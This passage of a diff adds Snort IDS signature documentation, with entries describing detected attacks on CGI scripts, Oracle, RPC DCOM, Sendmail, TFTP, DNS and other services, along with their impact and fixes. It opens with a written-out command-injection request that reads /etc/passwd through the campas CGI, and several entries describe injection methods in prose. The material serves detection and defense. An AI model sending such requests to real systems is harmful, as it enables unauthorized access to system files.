+variables to retrieve a sensitive system file in the following manner:
+
+GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
+
+--
+Ease of Attack:
+Simple. No exploit software required
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3431.txt
+++ snort-2.8.5.2/doc/signatures/3431.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3431
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2224.txt
+++ snort-2.8.5.2/doc/signatures/2224.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2224
+
+--
+Summary:
+This event is generated when an attempt is made to access psunami.cgi on an internal web server. This may indicate an attempt to exploit a remote command execution vulnerability in Psunami bulletin board software.
+
+--
+Impact:
+Remote execution of arbitrary code, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+Psunami is a CGI script that provides online bulletin board for web sites. It contains a metacharacter parsing vulnerability that allows an attacker to submit a URL that contains shell code between pipe characters (|) in the topic parameter. When the web server receives the HTTP request, it executes the code placed between the pipe characters.
+
+--
+Affected Systems:
+Any web server running Psunami 0.5.2 or earlier.
+
+--
+Attack Scenarios:
+An attacker places shellcode, surrounded by pipe characters, in the topic parameter of an HTTP request to psunami.cgi. Any commands included in the value are executed with the security context of the web server.
+ 
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses psunami.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Psunami 0.5.3 (http://sourceforge.net/projects/psunami/).
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2750.txt
+++ snort-2.8.5.2/doc/signatures/2750.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2750
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure comment_on_mview_repsites
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/718.txt
+++ snort-2.8.5.2/doc/signatures/718.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+718
+
+--
+Summary:
+This event is generated when an attempted telnet login fails from a remote user.
+
+--
+Impact:
+Attempted remote access.  This event may indicate that an attacker is attempting to guess username and password combinations.  Alternately, it may indicate that an authorized user has entered an incorrect username and password combination.
+
+--
+Detailed Information:
+A telnet server will issue an error message after a failed login attempt.  This may be an indication of an attacker attempting brute force guessing of username and password combinations.  It is also possible that an authorized user has incorrectly entered a legitimate username and password combination.  Telnet traffic is passed in clear text so it is not recommended for remote connections.  Secure Shell is considered to be a more secure alternative.
+
+--
+Affected Systems:
+Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to guess username and password combinations.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This event may be triggered by a failed telnet login attempt from a remote user.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original rule writer Max Vision <vision@whitehats.com>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS127
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1444.txt
+++ snort-2.8.5.2/doc/signatures/1444.txt
@@ -0,0 +1,82 @@
+Rule:
+
+--
+
+Sid:
+1444
+
+--
+
+Summary
+This event is generated when a TFTP GET request is made.  This is an 
+indication that someone is attempting to download a file on the server.
+
+--
+
+Impact
+A TFTP GET requests allows a remote attacker to download files on the 
+TFTP server.  If the TFTP server allows anonymous TFTP GET requests it 
+is possible to download any of the published files on the server..
+
+--
+
+Detailed Information
+This rule will generate an event on in-bound TFTP GET requests.  A TFTP 
+GET request is generated when an attempt to download a file from the 
+server is initiated.
+
+--
+
+Attack Scenarios
+Attackers may use TFTP to upload and download files from server that are
+properly or improperly configured.  Normally attackers attempt to locate
+TFTP servers using automated scanners and tools.  Once a TFTP server is 
+located an attempt to write files and get files from the TFTP server is 
+made.  Depending on the results of those tests attackers may attempt to 
+further exploit that system, by overwriting system files or downloading 
+password files to access the system.
+
+Cisco ONS platforms allow unauthenticated access to files via TFTP. This
+event may be generated when an attempt is made to access files on a 
+Cisco device using TFTP.
+
+--
+Ease of Attack
+Simple: Numerous tools and automated scripts exist for scanning large
+subnets for improperly configured TFTP servers.
+
+--
+False Positives
+Legitimate TFTP GET requests for polling routers or other network
+devices may trigger this rule.  
+
+--
+False Negatives
+None known
+
+--
+Corrective Action
+The TFTP server should be configured to only allow GET requests from
+trusted locations.
+
+--
+Contributors
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski <Matt.Watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0183
+
+Arachnids:
+http://www.whitehats.com/info/IDS148
+
+Bugtraq:
+http://www.securityfocus.com/bid/9699
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2373.txt
+++ snort-2.8.5.2/doc/signatures/2373.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2373
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with Mollensoft Hyperion FTP/Encladus Server Suite XMKD 
+command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of 
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists 
+with the XMKD command that can cause a buffer overflow and permit the 
+execution of arbitrary commands with system privileges. The buffer 
+overflow can be caused by supplying an overly long argument to the XMKD 
+command.
+
+--
+Affected Systems:
+	Mollensoft Software Enceladus Server Suite 3.9.11
+	Mollensoft Software Hyperion FTP Server 3.5.2
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the XMKD 
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2689.txt
+++ snort-2.8.5.2/doc/signatures/2689.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2689
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure disable_receiver_trace
+. This procedure is included in
+sys.dbms_internal_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/931.txt
+++ snort-2.8.5.2/doc/signatures/931.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+931
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1525.txt
+++ snort-2.8.5.2/doc/signatures/1525.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1525
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000478.txt
+++ snort-2.8.5.2/doc/signatures/100000478.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000478
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "aWebNews" application running on a webserver. 
+Access to the file "visview.php" using a remote file being passed as the 
+"path_to_news" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "path_to_news" parameter in the "visview.php" script 
+used by the "aWebNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using aWebNews
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2074.txt
+++ snort-2.8.5.2/doc/signatures/2074.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2074
+
+--
+Summary:
+using the upload.php script.
+
+--
+Impact:
+Unauthorized upload of files to a server.
+
+--
+Detailed Information:
+Arbitrary files can be uploaded to a server running vulnerable versions 
+of Mambo Site Server due to laxe checking in the scripts controlling 
+uploading of files.
+
+The scripts perform checks for certain file extensions but do not 
+prevent the upload of files with image extensions.
+
+--
+Affected Systems:
+	Mambo Mambo Site Server 4.0.10, 4.0.11 and 4.0.12 BETA
+
+--
+Attack Scenarios:
+The attacker can upload malicious scripts and executable files by 
+appending a valid extension used for an image file.
+
+The attacker can also use the server to store files of his choosing.
+
+--
+Ease of Attack:
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest version of Mambo Site Server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2889.txt
+++ snort-2.8.5.2/doc/signatures/2889.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2889
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_date
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3199.txt
+++ snort-2.8.5.2/doc/signatures/3199.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3199
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft WINS.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft WINS such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker would need to send multiple malformed request to the WINS
+service running on a host.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uninstall the WINS service.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/724.txt
+++ snort-2.8.5.2/doc/signatures/724.txt
@@ -0,0 +1,90 @@
+Rule:
+
+--
+Sid:
+724
+
+--
+Summary:
+This event is generated when worm activity is detected. More specifcally
+this event indicates possible "My Romeo" propogation.
+
+--
+Impact:
+Serious. The victim host may be infected with a worm.
+
+--
+Detailed Information:
+This worm propogates via electronic mail and exploits a known
+vulnerability in the way that versions of Microsoft Outlook and Internet
+Explorer handle trusted HTML pages. The worm is launched via a compiled
+HTML file (.chm) which is used by Microsoft WIndows Help.
+
+The executable part of the worm is called from within the trusted
+compiled HTML file. The worm attempts to propagate using hard coded
+addresses of SMTP servers.
+
+This worm is also Known As: Romeo and Juliet, W32/Verona, TrojBlebla.A
+
+--
+Affected Systems:
+	Microsoft Windows 9x
+	Microsoft Windows 2000
+
+--
+Attack Scenarios:
+Symantec Anti-Virus center states that the worm arrives as an email
+message that has an HTML body and two attachments named Myjuliet.chm
+and Myromeo.exe. The subject of the email is selected at random from
+the following set:
+
+Romeo&Juliet
+hello world
+subject
+ble bla, bee
+I Love You ;)
+sorry...
+Hey you !
+Matrix has you...
+my picture
+from shake-beer
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+Legitimate electronic mail containing the known subject lines used by
+MyRomeo may cause this rule to generate an event.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Use Anti-Virus software to detect and delete virus laden email.
+
+This worm makes changes to the system registry, removal of the affected
+registry keys should be done using an appropriate virus removal tool or
+by an experienced Windows administrator.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+McAfee
+http://vil.nai.com/vil/content/v_98894.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blebla.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/671.txt
+++ snort-2.8.5.2/doc/signatures/671.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+671
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a vulnerability in Sendmail, where unexpected characters in ident messages are not properly parsed.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Sendmail 8.6.10 and earlier versions contain a vulnerability related to the parsing of unexpected characters (in this case, newline characters and a carriage return) in commands passed from ident to Sendmail. An attacker can use a specially crafted command with unexpected characters in an ident response to Sendmail. The message is not properly parsed and Sendmail forwards the response, with included commands, to its queue. The commands are then executed while the message awaits delivery in the Sendmail queue, causing the included arbitrary code to be executed on the server in the security context of Sendmail. 
+
+--
+Affected Systems:
+Systems running unpatched versions of Sendmail 8.6.10 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends an email with newline characters and a carriage return, including a path variable of P=/bin/sh. Directives included in the transmission are executed while the message remains in the Sendmail queue.
+
+--
+Ease of Attack:
+Moderate. Multiple exploits exist, but the window of opportunity is small; the vulnerability must be exploited while the message is queued for delivery and must have sufficient time (the mail server must be busy/slow) to execute the commands.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+Bugtraq
+http://www.securityfocus.com/bid/2311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000826.txt
+++ snort-2.8.5.2/doc/signatures/100000826.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000826
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Phorum" application running on a webserver. Access to the file "search.php" with SQL commands being passed as the "mode" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "mode" parameter in the "search.php" script used by the "Phorum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Phorum
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000771.txt
+++ snort-2.8.5.2/doc/signatures/100000771.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000771
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "results" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "results" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/992.txt
+++ snort-2.8.5.2/doc/signatures/992.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 992
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1840.txt
+++ snort-2.8.5.2/doc/signatures/1840.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1840
+
+--
+Summary:
+This event is generated when a client on the protected network has 
+possibly visited a website containing malicious javascript code.
+
+--
+Impact:
+Minimal
+
+--
+Detailed Information:
+Implementations of Javascript in multiple browsers on multiple platforms
+contain an error that may lead to a user inadvertantly running
+Javascript code of an attackers choosing. IP address lookup for a fully
+qualified domain name is not performed when choosing whether Javascript 
+should be executed, if the hostname is served from a DNS server
+controlled by the attacker it may be possible for the attacker to run
+code of their choosing. 
+
+--
+Affected Systems:
+	Multiple browsers on multiple platforms.
+
+--
+Attack Scenarios:
+An attacker might try to fool a user into clicking a link in an email
+that points at an intranet server. The attacker is then able to run
+Javascript from a secondary host purporting to be the intranet server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives: 
+None known
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/255.txt
+++ snort-2.8.5.2/doc/signatures/255.txt
@@ -0,0 +1,61 @@
+Rule:
+--
+Sid:
+255
+
+--
+
+Summary:
+This event is generated when an attempt is made to request a zone 
+transfer from a DNS Server
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+DNS Zone transfers are normally used between DNS Servers to replicate 
+zone information. Zone transfers can also be used to gain information 
+about a network.
+
+--
+Affected Systems:
+	All DNS Servers
+
+--
+Attack Scenarios:
+A malicious user may request a Zone Transfer to gather information 
+before commencing an attack.  This can give the user a list of hosts to 
+target.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
